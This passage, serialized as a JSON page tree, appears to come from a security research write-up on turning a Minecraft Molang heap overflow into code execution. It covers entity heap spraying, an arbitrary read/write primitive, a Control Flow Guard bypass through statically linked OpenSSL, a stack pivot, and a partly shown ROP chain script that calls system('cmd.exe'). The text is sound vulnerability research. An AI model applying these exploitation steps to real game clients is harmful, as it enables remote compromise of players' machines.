practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":22,"tag":31,"props":156830,"children":156831},{},[156832],{"type":28,"value":156833},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":22,"tag":31,"props":156835,"children":156836},{},[156837],{"type":28,"value":156838},"The final exploit proceeds in three stages:",{"type":22,"tag":4029,"props":156840,"children":156841},{},[156842,156847,156852],{"type":22,"tag":68,"props":156843,"children":156844},{},[156845],{"type":28,"value":156846},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":22,"tag":68,"props":156848,"children":156849},{},[156850],{"type":28,"value":156851},"Perform the heap spray with signs to create the desired layout for the attack",{"type":22,"tag":68,"props":156853,"children":156854},{},[156855],{"type":28,"value":156856},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":22,"tag":1899,"props":156858,"children":156860},{"id":156859},"initial-corruption-variant-lfh-heap-approach",[156861],{"type":28,"value":156862},"Initial Corruption Variant: LFH Heap Approach",{"type":22,"tag":31,"props":156864,"children":156865},{},[156866],{"type":28,"value":156867},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":22,"tag":31,"props":156869,"children":156870},{},[156871,156873,156878,156879,156885],{"type":28,"value":156872},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":22,"tag":114,"props":156874,"children":156876},{"className":156875},[],[156877],{"type":28,"value":154767},{"type":28,"value":8497},{"type":22,"tag":114,"props":156880,"children":156882},{"className":156881},[],[156883],{"type":28,"value":156884},"last_index",{"type":28,"value":156886}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":22,"tag":31,"props":156888,"children":156889},{},[156890,156892,156897,156898,156903,156905,156910,156912,156917,156919,156924,156926,156932,156933,156939,156940,156946],{"type":28,"value":156891},"The main attack can be arranged by making the resulting index point at the ",{"type":22,"tag":114,"props":156893,"children":156895},{"className":156894},[],[156896],{"type":28,"value":151720},{"type":28,"value":155505},{"type":22,"tag":114,"props":156899,"children":156901},{"className":156900},[],[156902],{"type":28,"value":154700},{"type":28,"value":156904},". From there, the script can overwrite three variable indices at offset ",{"type":22,"tag":114,"props":156906,"children":156908},{"className":156907},[],[156909],{"type":28,"value":154458},{"type":28,"value":156911}," within the ",{"type":22,"tag":114,"props":156913,"children":156915},{"className":156914},[],[156916],{"type":28,"value":154700},{"type":28,"value":156918}," by using the string type. This works because a Molang string's value is just a ",{"type":22,"tag":114,"props":156920,"children":156922},{"className":156921},[],[156923],{"type":28,"value":57575},{"type":28,"value":156925}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":22,"tag":114,"props":156927,"children":156929},{"className":156928},[],[156930],{"type":28,"value":156931},"0xfb",{"type":28,"value":231},{"type":22,"tag":114,"props":156934,"children":156936},{"className":156935},[],[156937],{"type":28,"value":156938},"0xfc",{"type":28,"value":12991},{"type":22,"tag":114,"props":156941,"children":156943},{"className":156942},[],[156944],{"type":28,"value":156945},"0xfd",{"type":28,"value":156947}," the script would do:",{"type":22,"tag":107,"props":156949,"children":156951},{"code":156950},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[156952],{"type":22,"tag":114,"props":156953,"children":156954},{"__ignoreMap":7},[156955],{"type":28,"value":156950},{"type":22,"tag":31,"props":156957,"children":156958},{},[156959,156961,156966,156967,156973,156975,156980],{"type":28,"value":156960},"That line would write the ",{"type":22,"tag":114,"props":156962,"children":156964},{"className":156963},[],[156965],{"type":28,"value":57575},{"type":28,"value":93769},{"type":22,"tag":114,"props":156968,"children":156970},{"className":156969},[],[156971],{"type":28,"value":156972},"0x302700fb00fc00fd",{"type":28,"value":156974}," (string's FNV-1 hash) into the allocated ",{"type":22,"tag":114,"props":156976,"children":156978},{"className":156977},[],[156979],{"type":28,"value":154700},{"type":28,"value":156981}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":22,"tag":1289,"props":156983,"children":156985},{"id":156984},"hijacking-execution",[156986],{"type":28,"value":156987},"Hijacking Execution",{"type":22,"tag":31,"props":156989,"children":156990},{},[156991,156993,156998,157000,157006],{"type":28,"value":156992},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":22,"tag":114,"props":156994,"children":156996},{"className":156995},[],[156997],{"type":28,"value":156535},{"type":28,"value":156999}," and function pointers in the writable ",{"type":22,"tag":114,"props":157001,"children":157003},{"className":157002},[],[157004],{"type":28,"value":157005},".data",{"type":28,"value":157007}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":22,"tag":31,"props":157009,"children":157010},{},[157011],{"type":28,"value":157012},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":22,"tag":31,"props":157014,"children":157015},{},[157016],{"type":28,"value":157017},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":22,"tag":31,"props":157019,"children":157020},{},[157021],{"type":22,"tag":5928,"props":157022,"children":157024},{"alt":52519,"src":157023},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":22,"tag":31,"props":157026,"children":157027},{},[157028,157030,157036,157038,157044,157046,157051,157053,157058,157060,157066,157068,157073,157075,157081,157083,157088],{"type":28,"value":157029},"This snippet calls a method on an object: ",{"type":22,"tag":114,"props":157031,"children":157033},{"className":157032},[],[157034],{"type":28,"value":157035},"rcx",{"type":28,"value":157037}," holds the object pointer, the first ",{"type":22,"tag":114,"props":157039,"children":157041},{"className":157040},[],[157042],{"type":28,"value":157043},"mov",{"type":28,"value":157045}," loads the object's ",{"type":22,"tag":114,"props":157047,"children":157049},{"className":157048},[],[157050],{"type":28,"value":156535},{"type":28,"value":157052}," into ",{"type":22,"tag":114,"props":157054,"children":157056},{"className":157055},[],[157057],{"type":28,"value":58715},{"type":28,"value":157059},", and the function pointer at ",{"type":22,"tag":114,"props":157061,"children":157063},{"className":157062},[],[157064],{"type":28,"value":157065},"rax + 0x8",{"type":28,"value":157067}," is read into ",{"type":22,"tag":114,"props":157069,"children":157071},{"className":157070},[],[157072],{"type":28,"value":58715},{"type":28,"value":157074},". Finally, ",{"type":22,"tag":114,"props":157076,"children":157078},{"className":157077},[],[157079],{"type":28,"value":157080},"__guard_dispatch_icall_fptr",{"type":28,"value":157082}," is called - this is the CFG dispatch function that validates ",{"type":22,"tag":114,"props":157084,"children":157086},{"className":157085},[],[157087],{"type":28,"value":58715},{"type":28,"value":157089}," as a legal call target before invoking it.",{"type":22,"tag":31,"props":157091,"children":157092},{},[157093],{"type":28,"value":157094},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":22,"tag":31,"props":157096,"children":157097},{},[157098],{"type":22,"tag":5928,"props":157099,"children":157101},{"alt":52519,"src":157100},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":22,"tag":31,"props":157103,"children":157104},{},[157105,157107,157113,157115,157121],{"type":28,"value":157106},"Here, the function pointer at ",{"type":22,"tag":114,"props":157108,"children":157110},{"className":157109},[],[157111],{"type":28,"value":157112},"vtable + 0x10",{"type":28,"value":157114}," is loaded into ",{"type":22,"tag":114,"props":157116,"children":157118},{"className":157117},[],[157119],{"type":28,"value":157120},"rdx",{"type":28,"value":157122}," and then called directly.",{"type":22,"tag":31,"props":157124,"children":157125},{},[157126],{"type":28,"value":157127},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":22,"tag":31,"props":157129,"children":157130},{},[157131,157133,157138],{"type":28,"value":157132},"So the remaining task is to locate OpenSSL function or ",{"type":22,"tag":114,"props":157134,"children":157136},{"className":157135},[],[157137],{"type":28,"value":156535},{"type":28,"value":157139}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":22,"tag":1899,"props":157141,"children":157143},{"id":157142},"locating-overwrite-targets",[157144],{"type":28,"value":157145},"Locating Overwrite Targets",{"type":22,"tag":31,"props":157147,"children":157148},{},[157149,157151,157157,157158,157163,157165,157170,157172,157178],{"type":28,"value":157150},"One of the first targets we identified were the ",{"type":22,"tag":114,"props":157152,"children":157154},{"className":157153},[],[157155],{"type":28,"value":157156},"malloc",{"type":28,"value":12991},{"type":22,"tag":114,"props":157159,"children":157161},{"className":157160},[],[157162],{"type":28,"value":151768},{"type":28,"value":157164}," callbacks. These reside in the ",{"type":22,"tag":114,"props":157166,"children":157168},{"className":157167},[],[157169],{"type":28,"value":157005},{"type":28,"value":157171}," section and are invoked whenever they don’t match the expected ",{"type":22,"tag":114,"props":157173,"children":157175},{"className":157174},[],[157176],{"type":28,"value":157177},"OPENSSL_malloc/free",{"type":28,"value":133626},{"type":22,"tag":31,"props":157180,"children":157181},{},[157182],{"type":22,"tag":5928,"props":157183,"children":157185},{"alt":52519,"src":157184},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":22,"tag":31,"props":157187,"children":157188},{},[157189],{"type":28,"value":157190},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":22,"tag":31,"props":157192,"children":157193},{},[157194,157196,157202,157204,157210,157212,157217],{"type":28,"value":157195},"Later, we found another promising function: ",{"type":22,"tag":114,"props":157197,"children":157199},{"className":157198},[],[157200],{"type":28,"value":157201},"ossl_ec_key_new_method_int",{"type":28,"value":157203},". This function creates and initializes an ",{"type":22,"tag":114,"props":157205,"children":157207},{"className":157206},[],[157208],{"type":28,"value":157209},"EC_KEY",{"type":28,"value":157211}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":22,"tag":114,"props":157213,"children":157215},{"className":157214},[],[157216],{"type":28,"value":157005},{"type":28,"value":157218},") containing function pointers:",{"type":22,"tag":31,"props":157220,"children":157221},{},[157222],{"type":22,"tag":5928,"props":157223,"children":157225},{"alt":52519,"src":157224},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":22,"tag":31,"props":157227,"children":157228},{},[157229,157231,157237,157238,157244,157246,157251,157253,157259,157261,157266,157268,157273,157275,157280],{"type":28,"value":157230},"In the image above, ",{"type":22,"tag":114,"props":157232,"children":157234},{"className":157233},[],[157235],{"type":28,"value":157236},"ret->meth",{"type":28,"value":127090},{"type":22,"tag":114,"props":157239,"children":157241},{"className":157240},[],[157242],{"type":28,"value":157243},"default_ec_key_meth",{"type":28,"value":157245},", which points to a structure of function pointers located in ",{"type":22,"tag":114,"props":157247,"children":157249},{"className":157248},[],[157250],{"type":28,"value":157005},{"type":28,"value":157252},". It then calls ",{"type":22,"tag":114,"props":157254,"children":157256},{"className":157255},[],[157257],{"type":28,"value":157258},"ret->meth->init",{"type":28,"value":157260},", passing the ",{"type":22,"tag":114,"props":157262,"children":157264},{"className":157263},[],[157265],{"type":28,"value":19658},{"type":28,"value":157267}," pointer (",{"type":22,"tag":114,"props":157269,"children":157271},{"className":157270},[],[157272],{"type":28,"value":12989},{"type":28,"value":157274},"). This alone isn’t especially useful because ",{"type":22,"tag":114,"props":157276,"children":157278},{"className":157277},[],[157279],{"type":28,"value":12989},{"type":28,"value":157281}," is heap-allocated.",{"type":22,"tag":31,"props":157283,"children":157284},{},[157285,157287,157292],{"type":28,"value":157286},"But, if we look at how ",{"type":22,"tag":114,"props":157288,"children":157290},{"className":157289},[],[157291],{"type":28,"value":157258},{"type":28,"value":157293}," is invoked in the disassembly:",{"type":22,"tag":31,"props":157295,"children":157296},{},[157297],{"type":22,"tag":5928,"props":157298,"children":157300},{"alt":52519,"src":157299},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":22,"tag":31,"props":157302,"children":157303},{},[157304,157305,157310,157312,157317,157319,157324,157326,157331,157333,157338,157340,157345,157347,157352,157354,157360],{"type":28,"value":9486},{"type":22,"tag":114,"props":157306,"children":157308},{"className":157307},[],[157309],{"type":28,"value":157258},{"type":28,"value":157311}," is not ",{"type":22,"tag":114,"props":157313,"children":157315},{"className":157314},[],[157316],{"type":28,"value":56437},{"type":28,"value":157318},", it is called while ",{"type":22,"tag":114,"props":157320,"children":157322},{"className":157321},[],[157323],{"type":28,"value":58715},{"type":28,"value":157325}," still contains the value of ",{"type":22,"tag":114,"props":157327,"children":157329},{"className":157328},[],[157330],{"type":28,"value":157236},{"type":28,"value":157332}," - that is, a pointer to the structure in ",{"type":22,"tag":114,"props":157334,"children":157336},{"className":157335},[],[157337],{"type":28,"value":157005},{"type":28,"value":157339}," that we control. This is ideal, because we can overwrite ",{"type":22,"tag":114,"props":157341,"children":157343},{"className":157342},[],[157344],{"type":28,"value":157243},{"type":28,"value":157346}," with a pointer to a region in ",{"type":22,"tag":114,"props":157348,"children":157350},{"className":157349},[],[157351],{"type":28,"value":157005},{"type":28,"value":157353}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":22,"tag":114,"props":157355,"children":157357},{"className":157356},[],[157358],{"type":28,"value":157359},"mov rsp, rax; ret",{"type":28,"value":157361},"-style gadget.",{"type":22,"tag":31,"props":157363,"children":157364},{},[157365,157367,157372,157374,157379],{"type":28,"value":157366},"Although we discovered that ",{"type":22,"tag":114,"props":157368,"children":157370},{"className":157369},[],[157371],{"type":28,"value":157201},{"type":28,"value":157373}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":22,"tag":114,"props":157375,"children":157377},{"className":157376},[],[157378],{"type":28,"value":157177},{"type":28,"value":157380}," callbacks.",{"type":22,"tag":1899,"props":157382,"children":157384},{"id":157383},"stack-pivot",[157385],{"type":28,"value":157386},"Stack Pivot",{"type":22,"tag":31,"props":157388,"children":157389},{},[157390,157392,157397,157399,157404,157406,157411,157413,157419],{"type":28,"value":157391},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":22,"tag":114,"props":157393,"children":157395},{"className":157394},[],[157396],{"type":28,"value":157005},{"type":28,"value":157398},", overwrite ",{"type":22,"tag":114,"props":157400,"children":157402},{"className":157401},[],[157403],{"type":28,"value":157243},{"type":28,"value":157405}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":22,"tag":114,"props":157407,"children":157409},{"className":157408},[],[157410],{"type":28,"value":157201},{"type":28,"value":157412},". This ultimately calls ",{"type":22,"tag":114,"props":157414,"children":157416},{"className":157415},[],[157417],{"type":28,"value":157418},"default_ec_key_meth->init",{"type":28,"value":157420},", which executes the pivot and begins ROP execution.",{"type":22,"tag":31,"props":157422,"children":157423},{},[157424,157426,157432,157434,157440],{"type":28,"value":157425},"We chose to overwrite the ",{"type":22,"tag":114,"props":157427,"children":157429},{"className":157428},[],[157430],{"type":28,"value":157431},"OPENSSL_free",{"type":28,"value":157433}," callback. This produces only a minor memory leak, while overwriting ",{"type":22,"tag":114,"props":157435,"children":157437},{"className":157436},[],[157438],{"type":28,"value":157439},"OPENSSL_malloc",{"type":28,"value":157441}," would require our replacement function to return a writable, unused memory region.",{"type":22,"tag":31,"props":157443,"children":157444},{},[157445,157447,157453,157454,157460,157462,157467],{"type":28,"value":157446},"For the stack pivot, we found two useful gadgets: ",{"type":22,"tag":114,"props":157448,"children":157450},{"className":157449},[],[157451],{"type":28,"value":157452},"add rsp, 0x10; pop r14; ret",{"type":28,"value":12991},{"type":22,"tag":114,"props":157455,"children":157457},{"className":157456},[],[157458],{"type":28,"value":157459},"xchg rsp, rax; ret",{"type":28,"value":157461},". The exploit writes them into ",{"type":22,"tag":114,"props":157463,"children":157465},{"className":157464},[],[157466],{"type":28,"value":157005},{"type":28,"value":157468}," like this:",{"type":22,"tag":107,"props":157470,"children":157472},{"code":157471},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[157473],{"type":22,"tag":114,"props":157474,"children":157475},{"__ignoreMap":7},[157476],{"type":28,"value":157471},{"type":22,"tag":31,"props":157478,"children":157479},{},[157480,157482,157487,157489,157494,157496,157501,157503,157508,157510,157515,157517,157522,157524,157529],{"type":28,"value":157481},"The second gadget, ",{"type":22,"tag":114,"props":157483,"children":157485},{"className":157484},[],[157486],{"type":28,"value":157459},{"type":28,"value":157488},", is placed in the slot corresponding to the ",{"type":22,"tag":114,"props":157490,"children":157492},{"className":157491},[],[157493],{"type":28,"value":22700},{"type":28,"value":157495}," function pointer. As mentioned earlier, when ",{"type":22,"tag":114,"props":157497,"children":157499},{"className":157498},[],[157500],{"type":28,"value":157258},{"type":28,"value":157502}," is called, ",{"type":22,"tag":114,"props":157504,"children":157506},{"className":157505},[],[157507],{"type":28,"value":58715},{"type":28,"value":157509}," contains a pointer to ",{"type":22,"tag":114,"props":157511,"children":157513},{"className":157512},[],[157514],{"type":28,"value":157243},{"type":28,"value":157516}," - which we have overwritten and now points to our ",{"type":22,"tag":114,"props":157518,"children":157520},{"className":157519},[],[157521],{"type":28,"value":157452},{"type":28,"value":157523}," gadget in ",{"type":22,"tag":114,"props":157525,"children":157527},{"className":157526},[],[157528],{"type":28,"value":157005},{"type":28,"value":292},{"type":22,"tag":31,"props":157531,"children":157532},{},[157533,157535,157541,157543,157548,157550,157556,157558,157563,157565,157570,157572,157577,157579,157584,157586,157591,157593,157598],{"type":28,"value":157534},"When the call occurs, ",{"type":22,"tag":114,"props":157536,"children":157538},{"className":157537},[],[157539],{"type":28,"value":157540},"xchg rsp, rax",{"type":28,"value":157542}," swaps the stack pointer with this controlled pointer inside ",{"type":22,"tag":114,"props":157544,"children":157546},{"className":157545},[],[157547],{"type":28,"value":157005},{"type":28,"value":157549},", effectively moving ",{"type":22,"tag":114,"props":157551,"children":157553},{"className":157552},[],[157554],{"type":28,"value":157555},"rsp",{"type":28,"value":157557}," into our ROP region. After the ",{"type":22,"tag":114,"props":157559,"children":157561},{"className":157560},[],[157562],{"type":28,"value":12989},{"type":28,"value":157564},", execution continues at ",{"type":22,"tag":114,"props":157566,"children":157568},{"className":157567},[],[157569],{"type":28,"value":157452},{"type":28,"value":157571},", which advances ",{"type":22,"tag":114,"props":157573,"children":157575},{"className":157574},[],[157576],{"type":28,"value":157555},{"type":28,"value":157578}," by ",{"type":22,"tag":114,"props":157580,"children":157582},{"className":157581},[],[157583],{"type":28,"value":46473},{"type":28,"value":157585}," bytes, skipping over the padding and the ",{"type":22,"tag":114,"props":157587,"children":157589},{"className":157588},[],[157590],{"type":28,"value":157459},{"type":28,"value":157592}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":22,"tag":114,"props":157594,"children":157596},{"className":157595},[],[157597],{"type":28,"value":157459},{"type":28,"value":157599},") begins executing.",{"type":22,"tag":1289,"props":157601,"children":157603},{"id":157602},"rop-chain",[157604],{"type":28,"value":157605},"ROP Chain",{"type":22,"tag":31,"props":157607,"children":157608},{},[157609,157611,157617,157619,157624],{"type":28,"value":157610},"For the demo, the ROP chain simply calls ",{"type":22,"tag":114,"props":157612,"children":157614},{"className":157613},[],[157615],{"type":28,"value":157616},"system(\"cmd.exe\")",{"type":28,"value":157618},". Because Minecraft does not use ",{"type":22,"tag":114,"props":157620,"children":157622},{"className":157621},[],[157623],{"type":28,"value":133348},{"type":28,"value":157625},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":22,"tag":31,"props":157627,"children":157628},{},[157629,157631,157637,157639,157645,157647,157652,157654,157660,157662,157667],{"type":28,"value":157630},"This is straightforward: the chain first calls ",{"type":22,"tag":114,"props":157632,"children":157634},{"className":157633},[],[157635],{"type":28,"value":157636},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":157638}," to obtain the base address of ",{"type":22,"tag":114,"props":157640,"children":157642},{"className":157641},[],[157643],{"type":28,"value":157644},"ucrtbase.dll",{"type":28,"value":157646}," (which exports ",{"type":22,"tag":114,"props":157648,"children":157650},{"className":157649},[],[157651],{"type":28,"value":133348},{"type":28,"value":157653},"). It then calls ",{"type":22,"tag":114,"props":157655,"children":157657},{"className":157656},[],[157658],{"type":28,"value":157659},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":157661}," to retrieve the function’s address. Finally, it invokes ",{"type":22,"tag":114,"props":157663,"children":157665},{"className":157664},[],[157666],{"type":28,"value":133348},{"type":28,"value":157668}," with the \"cmd.exe\" string.",{"type":22,"tag":31,"props":157670,"children":157671},{},[157672],{"type":28,"value":157673},"In the exploit script, the ROP chain looks something like this:",{"type":22,"tag":107,"props":157675,"children":157677},{"code":157676,"language":21428,"meta":7,"className":21429,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157678],{"type":22,"tag":114,"props":157679,"children":157680},{"__ignoreMap":7},[157681,157689,157697,157722,157730,157738,157745,157753,157761,157788,157801,157814,157835,157864,157893,157900,157908,157921,157929,157965,157973,157980,157988,157995,158020,158031,158043],{"type":22,"tag":118,"props":157682,"children":157683},{"class":120,"line":121},[157684],{"type":22,"tag":118,"props":157685,"children":157686},{"style":257},[157687],{"type":28,"value":157688},"# get the address of `GetModuleHandle` to `rax`\n",{"type":22,"tag":118,"props":157690,"children":157691},{"class":120,"line":142},[157692],{"type":22,"tag":118,"props":157693,"children":157694},{"style":125},[157695],{"type":28,"value":157696},"rop.gadget(pop_r8)\n",{"type":22,"tag":118,"props":157698,"children":157699},{"class":120,"line":177},[157700,157705,157709,157714,157718],{"type":22,"tag":118,"props":157701,"children":157702},{"style":125},[157703],{"type":28,"value":157704},"rop.gadget(addr_get_module_handle_a ",{"type":22,"tag":118,"props":157706,"children":157707},{"style":210},[157708],{"type":28,"value":6340},{"type":22,"tag":118,"props":157710,"children":157711},{"style":146},[157712],{"type":28,"value":157713}," 0x",{"type":22,"tag":118,"props":157715,"children":157716},{"style":674},[157717],{"type":28,"value":136465},{"type":22,"tag":118,"props":157719,"children":157720},{"style":125},[157721],{"type":28,"value":3665},{"type":22,"tag":118,"props":157723,"children":157724},{"class":120,"line":195},[157725],{"type":22,"tag":118,"props":157726,"children":157727},{"style":257},[157728],{"type":28,"value":157729},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":22,"tag":118,"props":157731,"children":157732},{"class":120,"line":244},[157733],{"type":22,"tag":118,"props":157734,"children":157735},{"style":125},[157736],{"type":28,"value":157737},"rop.gadget(mov_rax_r8_28)\n",{"type":22,"tag":118,"props":157739,"children":157740},{"class":120,"line":253},[157741],{"type":22,"tag":118,"props":157742,"children":157743},{"emptyLinePlaceholder":15},[157744],{"type":28,"value":250},{"type":22,"tag":118,"props":157746,"children":157747},{"class":120,"line":263},[157748],{"type":22,"tag":118,"props":157749,"children":157750},{"style":257},[157751],{"type":28,"value":157752},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":22,"tag":118,"props":157754,"children":157755},{"class":120,"line":318},[157756],{"type":22,"tag":118,"props":157757,"children":157758},{"style":125},[157759],{"type":28,"value":157760},"rop.gadget(pop_rcx)\n",{"type":22,"tag":118,"props":157762,"children":157763},{"class":120,"line":351},[157764,157769,157774,157779,157783],{"type":22,"tag":118,"props":157765,"children":157766},{"style":125},[157767],{"type":28,"value":157768},"rop.gadget(",{"type":22,"tag":118,"props":157770,"children":157771},{"style":146},[157772],{"type":28,"value":157773},"0x",{"type":22,"tag":118,"props":157775,"children":157776},{"style":674},[157777],{"type":28,"value":157778},"7468B68",{"type":22,"tag":118,"props":157780,"children":157781},{"style":125},[157782],{"type":28,"value":588},{"type":22,"tag":118,"props":157784,"children":157785},{"style":257},[157786],{"type":28,"value":157787},"# offset of \"ucrtbase.dll\" string\n",{"type":22,"tag":118,"props":157789,"children":157790},{"class":120,"line":359},[157791,157796],{"type":22,"tag":118,"props":157792,"children":157793},{"style":125},[157794],{"type":28,"value":157795},"rop.gadget(ret) ",{"type":22,"tag":118,"props":157797,"children":157798},{"style":257},[157799],{"type":28,"value":157800},"# movaps alignment\n",{"type":22,"tag":118,"props":157802,"children":157803},{"class":120,"line":368},[157804,157809],{"type":22,"tag":118,"props":157805,"children":157806},{"style":125},[157807],{"type":28,"value":157808},"rop.gadget(push_rax_ret) ",{"type":22,"tag":118,"props":157810,"children":157811},{"style":257},[157812],{"type":28,"value":157813},"# calls `GetModuleHandle`\n",{"type":22,"tag":118,"props":157815,"children":157816},{"class":120,"line":384},[157817,157822,157826,157831],{"type":22,"tag":118,"props":157818,"children":157819},{"style":125},[157820],{"type":28,"value":157821},"rop.literal(u64(",{"type":22,"tag":118,"props":157823,"children":157824},{"style":146},[157825],{"type":28,"value":5243},{"type":22,"tag":118,"props":157827,"children":157828},{"style":1866},[157829],{"type":28,"value":157830},"\"ucrtbase\"",{"type":22,"tag":118,"props":157832,"children":157833},{"style":125},[157834],{"type":28,"value":3334},{"type":22,"tag":118,"props":157836,"children":157837},{"class":120,"line":417},[157838,157842,157846,157851,157856,157860],{"type":22,"tag":118,"props":157839,"children":157840},{"style":125},[157841],{"type":28,"value":157821},{"type":22,"tag":118,"props":157843,"children":157844},{"style":146},[157845],{"type":28,"value":5243},{"type":22,"tag":118,"props":157847,"children":157848},{"style":1866},[157849],{"type":28,"value":157850},"\".dll",{"type":22,"tag":118,"props":157852,"children":157853},{"style":50313},[157854],{"type":28,"value":157855},"\\x00\\x00\\x00\\x00",{"type":22,"tag":118,"props":157857,"children":157858},{"style":1866},[157859],{"type":28,"value":22027},{"type":22,"tag":118,"props":157861,"children":157862},{"style":125},[157863],{"type":28,"value":3334},{"type":22,"tag":118,"props":157865,"children":157866},{"class":120,"line":425},[157867,157871,157875,157880,157885,157889],{"type":22,"tag":118,"props":157868,"children":157869},{"style":125},[157870],{"type":28,"value":157821},{"type":22,"tag":118,"props":157872,"children":157873},{"style":146},[157874],{"type":28,"value":5243},{"type":22,"tag":118,"props":157876,"children":157877},{"style":1866},[157878],{"type":28,"value":157879},"\"system",{"type":22,"tag":118,"props":157881,"children":157882},{"style":50313},[157883],{"type":28,"value":157884},"\\x00\\x00",{"type":22,"tag":118,"props":157886,"children":157887},{"style":1866},[157888],{"type":28,"value":22027},{"type":22,"tag":118,"props":157890,"children":157891},{"style":125},[157892],{"type":28,"value":3334},{"type":22,"tag":118,"props":157894,"children":157895},{"class":120,"line":441},[157896],{"type":22,"tag":118,"props":157897,"children":157898},{"emptyLinePlaceholder":15},[157899],{"type":28,"value":250},{"type":22,"tag":118,"props":157901,"children":157902},{"class":120,"line":475},[157903],{"type":22,"tag":118,"props":157904,"children":157905},{"style":257},[157906],{"type":28,"value":157907},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":22,"tag":118,"props":157909,"children":157910},{"class":120,"line":484},[157911,157916],{"type":22,"tag":118,"props":157912,"children":157913},{"style":125},[157914],{"type":28,"value":157915},"rop.gadget(xchg_rcx_rax) ",{"type":22,"tag":118,"props":157917,"children":157918},{"style":257},[157919],{"type":28,"value":157920},"# move the return value of `GetModuleHandle` to 